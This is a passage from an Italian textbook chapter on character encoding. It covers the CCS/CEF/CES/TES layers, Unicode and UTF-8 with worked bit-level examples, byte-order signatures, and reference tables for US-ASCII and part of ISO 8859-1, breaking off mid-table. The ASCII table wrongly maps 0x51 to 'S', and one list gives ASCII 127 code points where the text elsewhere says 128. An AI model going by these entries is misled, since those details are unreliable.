L'insieme di caratteri codificato è in pratica il repertorio simbolico disponibile effettivamente, ottenuto dopo la definizione di un repertorio astratto e dopo lo studio dei problemi legati alla cultura e alle consuetudini del linguaggio per il quale è stato realizzato. Questo insieme di caratteri abbina un numero intero a ogni simbolo, senza bisogno che ci sia continuità nella sequenza di tale valore (l'unica limitazione è quella per cui deve trattarsi di un valore non negativo).

Il numero che rappresenta il simbolo di un insieme di caratteri codificato, è il punto di codifica.

Nella documentazione tecnica si fa spesso riferimento al concetto di «insieme di caratteri», ovvero *character set*, per intendere quello che qui si indica come «insieme di caratteri codificato», ovvero CCS, *Coded character set*.

Alcuni esempi tradizionali di insiemi di caratteri codificati sono:

ASCII (ISO 646)	127 punti di codifica;
ISO 8859-1	i primi 127 punti di codifica sono uguali all'ASCII;
ISO 8859-2	i primi 127 punti di codifica sono uguali all'ASCII, mentre nella parte restante il repertorio dei simboli è diverso dall'ISO 8859-1.
Unicode (ISO 10646)	i primi 255 punti di codifica sono uguali a ISO 8859-1.

Alcuni insiemi di caratteri codificati prevedono l'abbinamento con una descrizione (in inglese), allo scopo di facilitarne l'identificazione. Si utilizza questa descrizione per evitare ambiguità nell'identificazione del simbolo, quando questo potrebbe essere confuso con un altro, o più semplicemente quando potrebbe essere male interpretato.

Per rappresentare un punto di codifica, basta indicare il suo numero intero (qualunque sia la sua base di numerazione). Di solito, per evitare ambiguità, quando si tratta di Unicode o di ISO 10646, si fa uso normalmente della forma '**`U+`*nnnn***', oppure '**`U-`*nnnnnnnn***', dove ***n*** è una cifra esadecimale. Evidentemente, la seconda forma è utile per individuare punti di codifica più grandi. Per la precisione, questa notazione è la rappresentazione delle codifiche UCS-2 e UCS-4 a cui non si intende fare riferimento direttamente. In generale, non c'è alcun bisogno di rappresentare un punto di codifica in questo modo; tuttavia, si tratta di una simbologia immediata che dovrebbe semplificare la lettura e la comprensione del testo.

Tuttavia, in questo capitolo, per maggiore chiarezza, si preferisce l'uso di una forma differente, mediata dall'XML, '**`#x`*n***', dove ***n*** rappresenta una o più cifre esadecimali in base alla necessità.

In questa fase della scomposizione del problema della codifica, il «carattere» è il numero intero che rappresenta il punto di codifica. Attraverso un linguaggio di programmazione che sia adeguato al problema della codifica universale, il tipo di dati «carattere» deve corrispondere a un intero senza segno per il quale non ci si pone il problema del limite (anche se in questo momento dovrebbe essere almeno un intero a 32 bit); di conseguenza, il tipo stringa dovrebbe essere un array del tipo carattere.[2]

58.2.2 CEF: forma codificata del carattere

La forma codificata del carattere è il risultato di una trasformazione dal numero intero non negativo che costituisce il livello precedente, in una sequenza di unità di codifica. L'unità di codifica è un raggruppamento di bit di una lunghezza opportuna.

La sequenza di unità di codifica non è composta necessariamente dalla stessa quantità di queste unità per tutti gli elementi dell'insieme di caratteri. A tale proposito, si distingue tra forme codificate del carattere a lunghezza fissa e a lunghezza variabile.

L'esempio più semplice di forma codificata del carattere a lunghezza fissa è dato dall'ASCII tradizionale: l'insieme di caratteri codificato è costituito da 128 punti di codifica, rappresentati da tutti gli interi che vanno da 0 a 127. L'unità di codifica utilizzata in questa situazione è un gruppo singolo di 7 bit con i quali si rappresenta lo stesso numero intero.

Il caso più comune di forma codificata del carattere a lunghezza variabile è dato dall'UTF-8, che utilizza un'unità di codifica di un ottetto (un byte), in cui i punti di codifica con valori tra 0 e 127 (da 00_{16} a $7F_{16}$) utilizzano una sola unità di codifica, mentre tutti gli altri ne utilizzano più di una.

In fase di interpretazione delle sequenze di unità di codifica si possono presentare i casi seguenti:

1. la sequenza potrebbe non essere valida, perché incompleta, o perché esclusa esplicitamente;
2. la sequenza potrebbe fare riferimento a un punto di codifica possibile ma non ancora assegnato a un simbolo;
3. la sequenza potrebbe corrispondere a un punto di codifica assegnato a un simbolo stabilito, oppure lasciato all'attribuzione libera senza un vincolo preciso.

Il problema delle sequenze incomplete si intende nel momento in cui si accetta il fatto che una forma di codifica possa prevedere una lunghezza variabile delle sequenze di unità di codifica. Il caso dei punti di codifica lasciati al libero arbitrio degli utilizzatori, è una particolarità della codifica universale (Unicode e ISO 10646); se ne può comprendere la necessità di fronte a un sistema di codifica che vuole essere completo, ma che in pratica è appena all'inizio della sua opera di catalogazione.

A questo livello della scomposizione del problema, il «carattere» è ciò che idealmente è scritto in un «file di testo» (non più solo un «file ASCII»). Anche se è stato stabilito in che modo è organizzato l'insieme di caratteri codificato, la sua rappresentazione binaria «ideale» nel file di testo dipende dalla forma prescelta. Qui si parla di rappresentazione ideale, perché la rappresentazione reale dipende dal livello successivo, in cui tutto viene tradotto a livello di byte.

58.2.3 CES: schema di codifica del carattere

Lo schema di codifica del carattere è un sistema di trasformazione attraverso il quale, le unità di codifica vengono rese in sequenze di byte messe in serie.

Per tornare all'esempio dell'ASCII, l'unità di codifica è di 7 bit, ma il «carattere» ASCII si gestisce in pratica all'interno di un byte, dove il bit più significativo viene lasciato azzerato.

In generale, il byte è un'unità di memorizzazione standard in tutte le architetture dei sistemi elaborativi e in tutti i sistemi di trasmissione dati. Questo spiega la necessità di trasferire tutto a livello di byte o di multipli di questa unità.

Dovendo utilizzare più byte per rappresentare un oggetto unico, si pone il problema dello scambio tra coppie di byte che avviene in alcune architetture. Come è noto, si distingue tra *big-endian*, in cui il primo byte è quello più significativo, e *little-endian*, in cui il primo byte è quello meno significativo. Pertanto, in questa situazione, si impone la necessità di specificare l'ordine dei byte.

58.2.4 TES: sintassi di codifica per il trasferimento

La sintassi di codifica per il trasferimento è un metodo di trasformazione reversibile di una codifica, che si deve attuare a causa di qualche tipo di esigenza. Per esempio:

- la necessità di evitare l'utilizzo di alcuni valori nei byte che potrebbero confondere un sistema di comunicazione o di memorizzazione;
- la necessità di ridurre la dimensione dei dati utilizzando algoritmi di compressione.

Mentre il secondo caso dovrebbe essere chiaro, per comprendere il primo basta pensare alle limitazioni che ha storicamente il protocollo SMTP (posta elettronica), per cui è necessario evitare di trasmettere byte in cui il primo bit sia diverso da zero.

58.3 Unicode e ISO 10646

Il lavoro per la realizzazione dell'insieme di caratteri universale non può partire da zero, per l'esigenza di mantenere qualche forma di compatibilità con il passato (diversamente, non verrebbe nemmeno preso in considerazione). Pertanto, le incongruenze che si possono rilevare sono dovute principalmente a questo motivo: la necessità di riutilizzare gli insiemi di caratteri codificati più importanti già esistenti.

Unicode e ISO 10646 sono due standard compatibili reciprocamente che definiscono un insieme di caratteri codificato particolarmente grande, da trasformare poi nella forma codificata del carattere prescelta per la sua rappresentazione pratica in unità di codifica. Pertanto, quando di parla di Unicode, o di ISO 10646, senza specificare altro, si pensa generalmente ai punti di codifica e non alla rappresentazione finale.[3]

I primi punti di codifica di questi standard corrispondono esattamente all'ISO 8859-1. Per esempio: #x20 è lo spazio normale; #xA0 è lo spazio non interrompibile; #xAB sono le virgolette angolari aperte; #xBB sono le virgolette angolari chiuse.

Attualmente, l'insieme di caratteri universale utilizza principalmente tre forme codificate del carattere UTF (*Unicode transformation format*): UTF-8, UTF-16 e UTF-32. Ogni forma codificata del carattere del tipo UTF-***n*** rappresenta un punto di codifica come una sequenza di una

o più unità di codifica (che a sua volta occupa ***n*** bit), ottenuta attraverso una trasformazione reversibile del valore.

Con questo sistema, i punti di codifica che possono essere rappresentati vanno teoricamente da #x0 a #x7FFFFFFF (in particolare, secondo Unicode si arriva solo fino a #x10FFFF), salvo alcuni valori che sono stati esclusi espressamente. I punti di codifica esclusi più importanti sono #xFFFE e #xFFFF.

Le forme codificate del carattere che utilizzano le unità di codifica più piccole, richiedono l'uso di sequenze multiple di tali unità con maggiore frequenza. Per esempio, si può osservare il caso di UTF-8, in cui l'unità di codifica è il byte (un ottetto): mano a mano che il valore del punto di codifica cresce, è necessario utilizzare più unità di codifica per la sua rappresentazione.

È necessario sottolineare il fatto che i valori che compongono l'insieme dei punti di codifica, non vengono trasferiti tali e quali nella forma codificata, dal momento che ci possono essere delle limitazioni nella rappresentazione.

Allo stato attuale dello sviluppo dell'insieme di caratteri universale, le varie forme codificate del carattere possono utilizzare gli spazi seguenti:

UTF-8	da uno a sei unità di codifica da 8 bit (mentre secondo Unicode, che è più restrittivo dello standard ISO 10646, si hanno al massimo quattro unità);
UTF-16	da uno a due unità di codifica da 16 bit;
UTF-32	attualmente si prevede una sola unità di codifica da 32 bit.

58.3.1 UTF-8

UTF sta per *Unicode transformation format* e significa implicitamente che si tratta di una mappa di trasformazione da punti di codifica Unicode a unità di codifica (è già stato descritto il fatto che il numero che segue la sigla UTF-***n*** indica la dimensione in bit dell'unità di codifica).

In particolare, vale la pena di osservare un po' meglio UTF-8, essendo questo il cardine della transizione verso l'insieme di caratteri universale nei sistemi operativi in cui non è conveniente l'utilizzo di unità di codifica più grandi. In effetti, UTF-8 è un sistema molto complesso per rappresentare simboli di qualunque lingua diversa dall'inglese, perché richiede spesso l'utilizzo di più unità per un solo simbolo.

Le caratteristiche di UTF-8 sono le seguenti:

- i punti di codifica da #x0 a #x7F, corrispondenti in pratica all'ASCII, sono tradotti semplicemente in byte da 00_{16} a $7F_{16}$, esattamente come si fa già con l'ASCII stesso;
- i punti di codifica che vanno da #x80 in su, vengono tradotti in sequenze multiple di byte, ognuno dei quali ha il bit più significativo a uno, così da evitare che i byte da 00_{16} a $7F_{16}$ possano apparire all'interno delle sequenze multiple;
- il primo byte di una sequenza multipla che rappresenta un punto di codifica che vada da #x80 in su, contiene sempre valori nell'intervallo da $C0_{16}$ a FD_{16} e serve a indicare quanti byte vengono utilizzati per rappresentare il carattere;

- i byte di una sequenza multipla che sono successivi al primo contengono valori che vanno da 80_{16} a BF_{16};
- si possono definire sequenze di byte in numero massimo di sei;
- i valori FE_{16} e FF_{16} non sono mai usati.

La tabella 58.6 dovrebbe chiarire meglio il concetto, abbinando i valori dei punti di codifica Unicode alle sequenze di byte con cui possono essere rappresentati. Si osservi che la lettera ***x*** serve a indicare un bit variabile.

Tabella 58.6. Sequenze multi-byte teoriche nell'UTF-8.

da	a	sequenze di ottetti
#x0	#x7F	0*xxxxxxx*
#x80	#x7FF	110*xxxxx* 10*xxxxxx*
#x800	#xFFFF	1110*xxxx* 10*xxxxxx* 10*xxxxxx*
#x10000	#x1FFFFF	11110*xxx* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx*
#x200000	#x3FFFFFF	111110*xx* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx*
#x4000000	#x7FFFFFFF	1111110*x* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx* 10*xxxxxx*

Un esempio dovrebbe chiarire ancora meglio il meccanismo. La lettera accentata «è» si rappresenta attraverso il punto di codifica #xE8, il quale in pratica si può rendere in binario come $1110\ 1000_2$, si traduce in UTF-8 come si vede nella figura 58.7.

Figura 58.7. #xE8 in UTF-8.

1110 1000

si scinde a gruppi di sei bit

11 101000

si inseriscono i bit iniziali secondo lo schema di UTF−8

110000 11 10 101000

primo ottetto — secondo ottetto

1100 0011 — 1010 1000

$C3_{16}$ — $A8_{16}$

Un altro esempio interessante è il punto di codifica #xFEFF ($1111\ 1110\ 1111\ 1111_2$); lo si vede nella figura 58.8.

Figura 58.8. #xFEFF in UTF-8.

1111 1110 1111 1111

si scinde a gruppi di sei bit

1111 111011 111111

si inseriscono i bit iniziali secondo lo schema di UTF−8

1110 1111	10 111011	10 111111
primo ottetto	secondo ottetto	terzo ottetto
1110 1111	1011 1011	1011 1111
EF_{16}	BB_{16}	BF_{16}

Da questo si dovrebbe intendere il passaggio a un numero superiore di byte.

In base al modello di UTF-8, si potrebbero realizzare anche sequenze più lunghe del necessario per rappresentare un punto di codifica. Evidentemente, è compito del software che le genera evitare di sprecare dello spazio inutilmente.

58.3.2 Schema di codifica e firma di riconoscimento

Di fronte a diverse forme codificate del carattere UTF, c'è la necessità di poterle identificare facilmente. Per questo si utilizza una sorta di firma iniziale, costituita in pratica dal punto di codifica #xFEFF, il quale, nella trasformazione in base allo schema di codifica del carattere, permette anche di controllare se l'ordine dei byte è normale o è stato invertito.

Il punto di codifica #xFEFF viene anche identificato con il nome ZWNBSP, ovvero *Zero width no-break space*; tuttavia, anche se si intende che si tratta di qualcosa di «innocuo» (uno spazio non interrompibile di ampiezza nulla), se è stato inserito come firma iniziale, non va inteso come parte del testo. Ciò significa che i programmi per la gestione di file di testo devono tenere conto che la firma iniziale va tolta prima di fare qualunque elaborazione (si pensi al concatenamento con un comando '`cat`' o simile).

Gli schemi di codifica del carattere riferiti alle forme codificate UTF, si possono precisare aggiungendo delle sigle alla fine del nome UTF-***n***. La tabella 58.9 mostra gli schemi di codifica UTF-***n****, assieme alla firma iniziale (quando questa è prevista).

Tabella 58.9. Schemi di codifica UTF-***n***.

Schema	Firma iniziale	Note
UTF-8	$EFBBBF_{16}$	In condizioni normali è prevista la firma iniziale.
UTF-8N		Si indica esplicitamente l'assenza della firma.
UTF-16		UTF-16 *big-endian* in modo predefinito.
UTF-16	$FEFF_{16}$	UTF-16 *big-endian*.
UTF-16	$FFFE_{16}$	UTF-16 *little-endian*.
UTF-16BE		UTF-16 *big-endian* senza firma.
UTF-16LE		UTF-16 *little-endian* senza firma.
UTF-32		UTF-32 *big-endian* in modo predefinito.
UTF-32	$0000FEFF_{16}$	UTF-32 *big-endian*.
UTF-32	$FFFE0000_{16}$	UTF-32 *little-endian*.

Schema	Firma iniziale	Note
UTF-32BE		UTF-32 *big-endian* senza firma.
UTF-32LE		UTF-32 *little-endian* senza firma.

58.3.3 Tipi di dati nuovi

Si è già accennato al modo in cui un linguaggio di programmazione può gestire i punti di codifica di questo tipo. Tuttavia, non si può dimenticare il passato; così, in tutte le situazioni in cui il «carattere» è implicitamente un intero senza segno a 8 bit, è necessario usare un'altra definizione per i punti di codifica: il ***carattere esteso***, ovvero *wide char*. Nello stesso modo, dovendo parlare di stringhe, se c'è bisogno di chiarire che si tratta di una stringa secondo Unicode o ISO 10646, si parla di ***stringa estesa***, ovvero di *wide string*.

58.4 Apparenza e realtà

La disponibilità di un sistema di codifica che faccia riferimento a un repertorio simbolico molto ampio, risolve tanti problemi del passato in cui era necessario risparmiare. Per esempio, nell'ASCII tradizionale, il trattino è unico (non si distingue la sua lunghezza) ed è anche un segno «meno». Disponendo di un repertorio molto grande, diventa importante utilizzare il simbolo giusto in base al contesto. Per esempio, la lettera latina «A» maiuscola, è diversa dalla lettera greca alfa maiuscola, anche se i due simboli possono avere lo stesso aspetto.

La descrizione che viene abbinata ai punti di codifica serve proprio per questo, in modo da evitare confusione.

Per fare un esempio più convincente, si pensi alla lettera «ß» nell'insieme ISO 8859-1. Il nome abbinato a questa lettera è «LATIN SMALL LETTER SHARP S»; come si legge non si tratta della lettera greca beta, ma di qualcosa di diverso. Per la precisione è un legato che si usa nella lingua tedesca; in mancanza del segno tipografico può essere reso come «ss» (infatti si tratta di una lettera minuscola). Utilizzare questo simbolo al posto della lettera beta sarebbe un errore; infatti, un sistema di composizione o di lettura, potrebbe anche decidere di convertire il segno nella forma semplificata che è appena stata mostrata.

58.5 ASCII (ISO 646)

L'ASCII è una codifica molto semplice, in cui ogni punto di codifica corrisponde direttamente a un gruppo di 7 bit, inteso come un intero senza segno, senza bisogno di trasformazioni. Sulla base di questa codifica si sono sviluppate molte varianti, soprattutto a 8 bit. Tuttavia, oggi, quando si parla di ASCII si tende a fare riferimento prevalentemente allo standard originale, in cui si utilizzavano valori compresi tra 0 e 127, per rappresentare i quali bastano solo 7 bit. Eventualmente, volendo essere precisi, per fare riferimento all'ASCII tradizionale si può utilizzare la denominazione «US-ASCII».

L'ASCII non si occupa solo di definire la codifica dei segni tipografici, ma include anche dei codici di controllo, ai quali abbina un nome, ma senza potervi attribuire un significato univoco valido in tutti i contesti. Si tratta dei punti di codifica da 0 a 31 e del 127 in decimale (il punto di codifica 32 rappresenta lo spazio normale).

La tabella 58.10 mostra nel dettaglio la codifica ASCII.

Tabella 58.10. US-ASCII (ISO 646). L'ultima colonna si riferisce alla rappresentazione corrispondente nel linguaggio C.

Binario	Esadecimale	Ottale	Decimale	Carattere	<^x>	Linguaggio C
00000000_2	00_{16}	000_8	000_{10}	<NUL>		\0
00000001_2	01_{16}	001_8	001_{10}	<SOH>	<^a>	
00000010_2	02_{16}	002_8	002_{10}	<STX>	<^b>	
00000011_2	03_{16}	003_8	003_{10}	<ETX>	<^c>	
00000100_2	04_{16}	004_8	004_{10}	<EOT>	<^d>	
00000101_2	05_{16}	005_8	005_{10}	<ENQ>	<^e>	
00000110_2	06_{16}	006_8	006_{10}	<ACK>	<^f>	
00000111_2	07_{16}	007_8	007_{10}	<BEL>	<^g>	\a
00001000_2	08_{16}	010_8	008_{10}	<BS>	<^h>	\b
00001001_2	09_{16}	011_8	009_{10}	<HT>	<^i>	\t
00001010_2	$0A_{16}$	012_8	010_{10}	<LF>	<^j>	\n
00001011_2	$0B_{16}$	013_8	011_{10}	<VT>	<^k>	\v
00001100_2	$0C_{16}$	014_8	012_{10}	<FF>	<^l>	\f
00001101_2	$0D_{16}$	015_8	013_{10}	<CR>	<^m>	\r
00001110_2	$0E_{16}$	016_8	014_{10}	<SO>	<^n>	
00001111_2	$0F_{16}$	017_8	015_{10}	<SI>	<^o>	
00010000_2	10_{16}	020_8	016_{10}	<DLE>	<^p>	
00010001_2	11_{16}	021_8	017_{10}	<DC1>	<^q>	
00010010_2	12_{16}	022_8	018_{10}	<DC2>	<^r>	
00010011_2	13_{16}	023_8	019_{10}	<DC3>	<^s>	
00010100_2	14_{16}	024_8	020_{10}	<DC4>	<^t>	
00010101_2	15_{16}	025_8	021_{10}	<NAK>	<^u>	
00010110_2	16_{16}	026_8	022_{10}	<SYN>	<^v>	
00010111_2	17_{16}	027_8	023_{10}	<ETB>	<^w>	
00011000_2	18_{16}	030_8	024_{10}	<CAN>	<^x>	
00011001_2	19_{16}	031_8	025_{10}	<EM>	<^y>	
00011010_2	$1A_{16}$	032_8	026_{10}	<SUB>	<^z>	
00011011_2	$1B_{16}$	033_8	027_{10}	<ESC>	<^[>	
00011100_2	$1C_{16}$	034_8	028_{10}	<FS>	<^\>	
00011101_2	$1D_{16}$	035_8	029_{10}	<GS>	<^]>	
00011110_2	$1E_{16}$	036_8	030_{10}	<RS>	<^^>	
00011111_2	$1F_{16}$	037_8	031_{10}	<US>	<^_>	
00100000_2	20_{16}	040_8	032_{10}	<SP>		
00100001_2	21_{16}	041_8	033_{10}	!		
00100010_2	22_{16}	042_8	034_{10}	"		
00100011_2	23_{16}	043_8	035_{10}	#		
00100100_2	24_{16}	044_8	036_{10}	$		
00100101_2	25_{16}	045_8	037_{10}	%		
00100110_2	26_{16}	046_8	038_{10}	&		
00100111_2	27_{16}	047_8	039_{10}	'		
00101000_2	28_{16}	050_8	040_{10}	(		
00101001_2	29_{16}	051_8	041_{10}	)		
00101010_2	$2A_{16}$	052_8	042_{10}	*		
00101011_2	$2B_{16}$	053_8	043_{10}	+		
00101100_2	$2C_{16}$	054_8	044_{10}	,		
00101101_2	$2D_{16}$	055_8	045_{10}	-		
00101110_2	$2E_{16}$	056_8	046_{10}	.		
00101111_2	$2F_{16}$	057_8	047_{10}	/		
00110000_2	30_{16}	060_8	048_{10}	0		
00110001_2	31_{16}	061_8	049_{10}	1		
00110010_2	32_{16}	062_8	050_{10}	2		

Binario	Esadecimale	Ottale	Decimale	Carattere	<^*x*>	Linguaggio C
00110011_2	33_{16}	063_8	051_{10}	3		
00110100_2	34_{16}	064_8	052_{10}	4		
00110101_2	35_{16}	065_8	053_{10}	5		
00110110_2	36_{16}	066_8	054_{10}	6		
00110111_2	37_{16}	067_8	055_{10}	7		
00111000_2	38_{16}	070_8	056_{10}	8		
00111001_2	39_{16}	071_8	057_{10}	9		
00111010_2	$3A_{16}$	072_8	058_{10}	:		
00111011_2	$3B_{16}$	073_8	059_{10}	;		
00111100_2	$3C_{16}$	074_8	060_{10}	<		
00111101_2	$3D_{16}$	075_8	061_{10}	=		
00111110_2	$3E_{16}$	076_8	062_{10}	>		
00111111_2	$3F_{16}$	077_8	063_{10}	?		
01000000_2	40_{16}	100_8	064_{10}	@		
01000001_2	41_{16}	101_8	065_{10}	A		
01000010_2	42_{16}	102_8	066_{10}	B		
01000011_2	43_{16}	103_8	067_{10}	C		
01000100_2	44_{16}	104_8	068_{10}	D		
01000101_2	45_{16}	105_8	069_{10}	E		
01000110_2	46_{16}	106_8	070_{10}	F		
01000111_2	47_{16}	107_8	071_{10}	G		
01001000_2	48_{16}	110_8	072_{10}	H		
01001001_2	49_{16}	111_8	073_{10}	I		
01001010_2	$4A_{16}$	112_8	074_{10}	J		
01001011_2	$4B_{16}$	113_8	075_{10}	K		
01001100_2	$4C_{16}$	114_8	076_{10}	L		
01001101_2	$4D_{16}$	115_8	077_{10}	M		
01001110_2	$4E_{16}$	116_8	078_{10}	N		
01001111_2	$4F_{16}$	117_8	079_{10}	O		
01010000_2	50_{16}	120_8	080_{10}	P		
01010001_2	51_{16}	121_8	081_{10}	S		
01010010_2	52_{16}	122_8	082_{10}	R		
01010011_2	53_{16}	123_8	083_{10}	S		
01010100_2	54_{16}	124_8	084_{10}	T		
01010101_2	55_{16}	125_8	085_{10}	U		
01010110_2	56_{16}	126_8	086_{10}	V		
01010111_2	57_{16}	127_8	087_{10}	W		
01011000_2	58_{16}	130_8	088_{10}	X		
01011001_2	59_{16}	131_8	089_{10}	Y		
01011010_2	$5A_{16}$	132_8	090_{10}	Z		
01011011_2	$5B_{16}$	133_8	091_{10}	[		
01011100_2	$5C_{16}$	134_8	092_{10}	\		\\
01011101_2	$5D_{16}$	135_8	093_{10}	]		
01011110_2	$5E_{16}$	136_8	094_{10}	^		
01011111_2	$5F_{16}$	137_8	095_{10}	_		
01100000_2	60_{16}	140_8	096_{10}	‘		
01100001_2	61_{16}	141_8	097_{10}	a		
01100010_2	62_{16}	142_8	098_{10}	b		
01100011_2	63_{16}	143_8	099_{10}	c		
01100100_2	64_{16}	144_8	100_{10}	d		
01100101_2	65_{16}	145_8	101_{10}	e		
01100110_2	66_{16}	146_8	102_{10}	f		
01100111_2	67_{16}	147_8	103_{10}	g		
01101000_2	68_{16}	150_8	104_{10}	h		

Binario	Esadecimale	Ottale	Decimale	Carattere	<^*x*>	Linguaggio C
01101001_2	69_{16}	151_8	105_{10}	i		
01101010_2	$6A_{16}$	152_8	106_{10}	j		
01101011_2	$6B_{16}$	153_8	107_{10}	k		
01101100_2	$6C_{16}$	154_8	108_{10}	l		
01101101_2	$6D_{16}$	155_8	109_{10}	m		
01101110_2	$6E_{16}$	156_8	110_{10}	n		
01101111_2	$6F_{16}$	157_8	111_{10}	o		
01110000_2	70_{16}	160_8	112_{10}	p		
01110001_2	71_{16}	161_8	113_{10}	q		
01110010_2	72_{16}	162_8	114_{10}	r		
01110011_2	73_{16}	163_8	115_{10}	s		
01110100_2	74_{16}	164_8	116_{10}	t		
01110101_2	75_{16}	165_8	117_{10}	u		
01110110_2	76_{16}	166_8	118_{10}	v		
01110111_2	77_{16}	167_8	119_{10}	w		
01111000_2	78_{16}	170_8	120_{10}	x		
01111001_2	79_{16}	171_8	121_{10}	y		
01111010_2	$7A_{16}$	172_8	122_{10}	z		
01111011_2	$7B_{16}$	173_8	123_{10}	{		
01111100_2	$7C_{16}$	174_8	124_{10}	|		
01111101_2	$7D_{16}$	175_8	125_{10}	}		
01111110_2	$7E_{16}$	176_8	126_{10}	~		
01111111_2	$7F_{16}$	177_8	127_{10}	*<DEL>*		

58.6 ISO 8859-*n*

Le codifiche ISO 8859-*n*, dove *n* è un numero da 1 a 15, rappresentano per il passato l'evoluzione più coerente dell'ASCII, in quanto utilizzano tutte gli stessi punti di codifica iniziali da 0 a 127, corrispondenti esattamente all'ASCII originale.

Come nel caso dell'ASCII, non c'è distinzione tra punto di codifica e forma codificata del carattere; in questa situazione si usano valori fino a 255, attraverso un byte intero.

Le codifiche ISO 8859-*n* introducono altri codici di controllo, nell'intervallo di punti di codifica che va da 128 a 159.

Per quanto riguarda le lingue occidentali, la codifica ISO 8859 più comune è ISO 8859-1, conosciuta anche come ISO Latin 1, rimpiazzata poi da ISO 8859-15 (ISO Latin 9), in cui si inserisce il simbolo dell'Euro al posto del simbolo di valuta generico.

La tabella 58.11 mostra nel dettaglio la codifica ISO 8859-1. Si tenga presente che nel caso di ISO 8859-15, il punto di codifica 164 viene abbinato al simbolo dell'Euro.

Tabella 58.11. ISO 8859-1.

Ottale	Decimale	Esadecimale	Carattere	Denominazione in inglese
240_8	160_{10}	$A0_{16}$		NO-BREAK SPACE
241_8	161_{10}	$A1_{16}$	¡	INVERTED EXCLAMATION MARK
242_8	162_{10}	$A2_{16}$	¢	CENT SIGN
243_8	163_{10}	$A3_{16}$	£	POUND SIGN
244_8	164_{10}	$A4_{16}$	¤	CURRENCY SIGN
245_8	165_{10}	$A5_{16}$	¥	YEN SIGN

Ottale	Decimale	Esadecimale	Carattere	Denominazione in inglese
246_8	166_{10}	$A6_{16}$	¦	BROKEN BAR
247_8	167_{10}	$A7_{16}$	§	SECTION SIGN
250_8	168_{10}	$A8_{16}$	¨	DIAERESIS
251_8	169_{10}	$A9_{16}$	©	COPYRIGHT SIGN
252_8	170_{10}	AA_{16}	ª	FEMININE ORDINAL INDICATOR
253_8	171_{10}	AB_{16}	«	LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
254_8	172_{10}	AC_{16}	¬	NOT SIGN
255_8	173_{10}	AD_{16}		SOFT HYPHEN
256_8	174_{10}	AE_{16}	®	REGISTERED SIGN
257_8	175_{10}	AF_{16}	¯	MACRON
260_8	176_{10}	$B0_{16}$	°	DEGREE SIGN
261_8	177_{10}	$B1_{16}$	±	PLUS-MINUS SIGN
262_8	178_{10}	$B2_{16}$	²	SUPERSCRIPT TWO
263_8	179_{10}	$B3_{16}$	³	SUPERSCRIPT THREE
264_8	180_{10}	$B4_{16}$	´	ACUTE ACCENT
265_8	181_{10}	$B5_{16}$	µ	MICRO SIGN
266_8	182_{10}	$B6_{16}$	¶	PILCROW SIGN
267_8	183_{10}	$B7_{16}$	·	MIDDLE DOT
270_8	184_{10}	$B8_{16}$	¸	CEDILLA
271_8	185_{10}	$B9_{16}$	¹	SUPERSCRIPT ONE
272_8	186_{10}	BA_{16}	º	MASCULINE ORDINAL INDICATOR
273_8	187_{10}	BB_{16}	»	RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
274_8	188_{10}	BC_{16}	¼	VULGAR FRACTION ONE QUARTER
275_8	189_{10}	BD_{16}	½	VULGAR FRACTION ONE HALF
276_8	190_{10}	BE_{16}	¾	VULGAR FRACTION THREE QUARTERS
277_8	191_{10}	BF_{16}	¿	INVERTED QUESTION MARK
300_8	192_{10}	$C0_{16}$	À	LATIN CAPITAL LETTER A WITH GRAVE
301_8	193_{10}	$C1_{16}$	Á	LATIN CAPITAL LETTER A WITH ACUTE
302_8	194_{10}	$C2_{16}$	Â	LATIN CAPITAL LETTER A WITH CIRCUMFLEX
303_8	195_{10}	$C3_{16}$	Ã	LATIN CAPITAL LETTER A WITH TILDE
304_8	196_{10}	$C4_{16}$	Ä	LATIN CAPITAL LETTER A WITH DIAERESIS
305_8	197_{10}	$C5_{16}$	Å	LATIN CAPITAL LETTER A WITH RING ABOVE
306_8	198_{10}	$C6_{16}$	Æ	LATIN CAPITAL LETTER AE
307_8	199_{10}	$C7_{16}$	Ç	LATIN CAPITAL LETTER C WITH CEDILLA
310_8	200_{10}	$C8_{16}$	È	LATIN CAPITAL LETTER E WITH GRAVE
311_8	201_{10}	$C9_{16}$	É	LATIN CAPITAL LETTER E WITH ACUTE
312_8	202_{10}	CA_{16}	Ê	LATIN CAPITAL LETTER E WITH CIRCUMFLEX
313_8	203_{10}	CB_{16}	Ë	LATIN CAPITAL LETTER E WITH DIAERESIS
314_8	204_{10}	CC_{16}	Ì	LATIN CAPITAL LETTER I WITH GRAVE
315_8	205_{10}	CD_{16}	Í	LATIN CAPITAL LETTER I WITH ACUTE
316_8	206_{10}	CE_{16}	Î	LATIN CAPITAL LETTER I WITH CIRCUMFLEX
317_8	207_{10}	CF_{16}	Ï	LATIN CAPITAL LETTER I WITH DIAERESIS
320_8	208_{10}	$D0_{16}$	Ð	LATIN CAPITAL LETTER ETH
321_8	209_{10}	$D1_{16}$	Ñ	LATIN CAPITAL LETTER N WITH TILDE
322_8	210_{10}	$D2_{16}$	Ò	LATIN CAPITAL LETTER O WITH GRAVE
323_8	211_{10}	$D3_{16}$	Ó	LATIN CAPITAL LETTER O WITH ACUTE
324_8	212_{10}	$D4_{16}$	Ô	LATIN CAPITAL LETTER O WITH CIRCUMFLEX
325_8	213_{10}	$D5_{16}$	Õ	LATIN CAPITAL LETTER O WITH TILDE
326_8	214_{10}	$D6_{16}$	Ö	LATIN CAPITAL LETTER O WITH DIAERESIS
327_8	215_{10}	$D7_{16}$	×	MULTIPLICATION SIGN
330_8	216_{10}	$D8_{16}$	Ø	LATIN CAPITAL LETTER O WITH STROKE

Ottale	Decimale	Esadecimale	Carattere	Denominazione in inglese
331_8	217_{10}	$D9_{16}$	Ù	LATIN CAPITAL LETTER U WITH GRAVE
332_8	218_{10}	DA_{16}	Ú	LATIN CAPITAL LETTER U WITH ACUTE
333_8	219_{10}	DB_{16}	Û	LATIN CAPITAL LETTER U WITH CIRCUMFLEX
334_8	220_{10}	DC_{16}	Ü	LATIN CAPITAL LETTER U WITH DIAERESIS
335_8	221_{10}	DD_{16}	Ý	LATIN CAPITAL LETTER Y WITH ACUTE
336_8	222_{10}	DE_{16}	Þ	LATIN CAPITAL LETTER THORN
337_8	223_{10}	DF_{16}	ß	LATIN SMALL LETTER SHARP S
340_8	224_{10}	$E0_{16}$	à	LATIN SMALL LETTER A WITH GRAVE
